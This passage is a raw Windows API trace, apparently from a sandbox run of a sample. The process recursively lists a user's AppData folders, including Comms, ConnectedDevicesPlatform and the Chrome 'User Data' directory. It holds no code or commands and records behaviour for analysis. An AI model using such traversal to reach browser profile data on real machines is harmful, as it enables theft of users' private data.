lpFindFileData=0x12fed84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46a62b13, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46a62b13, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x46a62b13, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USSres00001.jrs", cAlternateFileName="USSRES~1.JRS")) returned 1 [0195.932] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46a62b13, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46a62b13, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x46a62b13, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USSres00002.jrs", cAlternateFileName="USSRES~2.JRS")) returned 1 [0195.932] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c221427, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6c221427, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USStmp.jtx", cAlternateFileName="")) returned 1 [0195.932] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.932] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0195.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff00c) returned 1 [0195.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff018) returned 1 [0195.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feff0) returned 1 [0195.933] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB", lpFilePart=0x0) returned 0x2e [0195.933] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\*", lpFindFileData=0x12fed18 | out: lpFindFileData=0x12fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe8ea1382, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xe8ea1382, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aff8 [0195.933] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe8ea1382, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xe8ea1382, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.933] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bfe5114, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6bfe5114, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe7ad659a, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="store.jfm", cAlternateFileName="")) returned 1 [0195.933] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46f4d81c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46f4d81c, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xe8d49d4d, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0xd80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="store.vol", cAlternateFileName="")) returned 1 [0195.934] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8ea1382, ftCreationTime.dwHighDateTime=0x1d69a98, ftLastAccessTime.dwLowDateTime=0xe8ea1382, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xe8fd2599, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tmp.edb", cAlternateFileName="")) returned 1 [0195.934] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c293b35, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c293b35, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe7ad659a, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USS.jcp", cAlternateFileName="")) returned 1 [0195.934] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c1163b2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe7ad659a, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USS.jtx", cAlternateFileName="")) returned 1 [0195.934] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46a62b13, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46a62b13, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x46a62b13, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USSres00001.jrs", cAlternateFileName="USSRES~1.JRS")) returned 1 [0195.934] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46a62b13, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46a62b13, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x46a62b13, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USSres00002.jrs", cAlternateFileName="USSRES~2.JRS")) returned 1 [0195.934] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c221427, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6c221427, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USStmp.jtx", cAlternateFileName="")) returned 1 [0195.934] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c221427, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6c221427, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USStmp.jtx", cAlternateFileName="")) returned 0 [0195.935] FindClose (in: hFindFile=0x139aff8 | out: hFindFile=0x139aff8) returned 1 [0195.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefac) returned 1 [0195.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0195.935] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform", nBufferLength=0x105, lpBuffer=0x12feba8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform", lpFilePart=0x0) returned 0x36 [0195.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0c0) returned 1 [0195.935] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform", nBufferLength=0x105, lpBuffer=0x12feb74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform", lpFilePart=0x0) returned 0x36 [0195.935] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\*", lpFindFileData=0x12fede8 | out: lpFindFileData=0x12fede8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc58b9bba, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0195.935] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc58b9bba, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.935] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x435d76fd, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x5f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDPGlobalSettings.cdp", cAlternateFileName="CDPGLO~1.CDP")) returned 1 [0195.936] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.936] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0195.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff07c) returned 1 [0195.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff088) returned 1 [0195.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff060) returned 1 [0195.936] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform", lpFilePart=0x0) returned 0x36 [0195.936] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\*", lpFindFileData=0x12fed88 | out: lpFindFileData=0x12fed88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc58b9bba, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af78 [0195.936] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc58b9bba, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.936] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x435d76fd, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x5f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDPGlobalSettings.cdp", cAlternateFileName="CDPGLO~1.CDP")) returned 1 [0195.937] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x435d76fd, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x5f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDPGlobalSettings.cdp", cAlternateFileName="CDPGLO~1.CDP")) returned 0 [0195.937] FindClose (in: hFindFile=0x139af78 | out: hFindFile=0x139af78) returned 1 [0195.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff01c) returned 1 [0195.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0195.937] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google", nBufferLength=0x105, lpBuffer=0x12feba8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google", lpFilePart=0x0) returned 0x24 [0195.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0c0) returned 1 [0195.937] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google", nBufferLength=0x105, lpBuffer=0x12feb74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google", lpFilePart=0x0) returned 0x24 [0195.937] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\*", lpFindFileData=0x12fede8 | out: lpFindFileData=0x12fede8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7e3bdb64, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7e3bdb64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b238 [0195.937] FindNextFileW (in: hFindFile=0x139b238, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7e3bdb64, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7e3bdb64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.938] FindNextFileW (in: hFindFile=0x139b238, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4aa60657, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0195.938] FindNextFileW (in: hFindFile=0x139b238, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0195.938] FindNextFileW (in: hFindFile=0x139b238, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 0 [0195.938] FindClose (in: hFindFile=0x139b238 | out: hFindFile=0x139b238) returned 1 [0195.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff07c) returned 1 [0195.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff088) returned 1 [0195.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff060) returned 1 [0195.938] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google", lpFilePart=0x0) returned 0x24 [0195.938] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\*", lpFindFileData=0x12fed88 | out: lpFindFileData=0x12fed88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7e3bdb64, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7e3bdb64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0195.939] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7e3bdb64, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7e3bdb64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.939] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4aa60657, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0195.939] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0195.939] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.939] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0195.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff01c) returned 1 [0195.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0195.939] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome", nBufferLength=0x105, lpBuffer=0x12feb38, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome", lpFilePart=0x0) returned 0x2b [0195.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff050) returned 1 [0195.939] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome", nBufferLength=0x105, lpBuffer=0x12feb04, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome", lpFilePart=0x0) returned 0x2b [0195.939] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\*", lpFindFileData=0x12fed78 | out: lpFindFileData=0x12fed78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4aa60657, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b138 [0195.940] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4aa60657, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.940] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a2c1db7, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a5b9542, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0195.940] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a2c1db7, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a5b9542, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 0 [0195.940] FindClose (in: hFindFile=0x139b138 | out: hFindFile=0x139b138) returned 1 [0195.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff00c) returned 1 [0195.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff018) returned 1 [0195.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feff0) returned 1 [0195.940] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome", lpFilePart=0x0) returned 0x2b [0195.940] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\*", lpFindFileData=0x12fed18 | out: lpFindFileData=0x12fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4aa60657, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b138 [0195.940] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, 